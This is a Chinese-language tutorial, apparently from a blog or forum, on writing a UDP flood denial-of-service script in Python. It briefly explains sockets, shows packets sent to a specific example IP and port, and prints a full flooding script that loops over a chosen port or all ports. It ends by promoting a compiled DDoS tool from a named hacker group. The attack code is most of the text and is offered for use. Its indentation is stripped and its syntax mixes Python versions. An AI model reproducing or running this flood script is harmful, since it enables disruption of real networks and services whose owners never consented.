Socket
套接字(socket)是一个抽象层,应用程序可以通过它发送或接收数据,可对其进行像对文件一样的打开、读写和关闭等操作。套接字允许应用程序将I/O插入到网络中,并与网络中的其他应用程序进行通信。网络套接字是IP地址与端口的组合。
使用Python socket自带库发送数据包
import socket #一句话导入socket库
import random #下面要构建数据包
下面建立一个和目标的socket通讯:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
里面的socket.AF_INET和socket.SOCK_DGRAM是什么意思自己百度。
下来byte = random._urandom(1490) #构建数据包,里面的数据填别的我没啥意见:)
然后发送数据包:
sock.sendto(byte, ("目标IP地址",int(目标端口)))
譬如sock.sendto(byte, ("111.73.29.148",520)),就是给111.73.29.148这个IP的520端口发包(某队友作死让我日他)。
这里就完成了一次包发送,下面就和SYN泛洪攻击一样,加一个循环,稍加装饰,就是一个完整的DDOS脚本了。
以下是完整的,我“装饰”过了的脚本:
#coding: utf8
print("Initializing...\n")
import socket
import random
#构建socket通讯
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#构建字节数据包
byte = random._urandom(1490)
try:
ip = raw_input("IP Dress: ")
port = raw_input("Port(Leave a blank to attack all of the ports): ")
except:
ip = input("IP Dress: ")
port = input("Port(Leave a blank to attack all of the ports): ")
if port == "":
port = 1
re = True
else:
port = int(port)
re = False
sent = 0
while True:
sock.sendto(byte, (ip,port))
sent = sent + 1
print "Sent %s packet to %s throught port %s." % (str(sent),ip,str(port))
if re:
port = port + 1
else:
pass
if port == 65534:
port = 1
这里附上编译好的,更加完整的HFDDOS工具,由中国秦川联盟网络安全部氢氟安全组研发。
推广:中国秦川联盟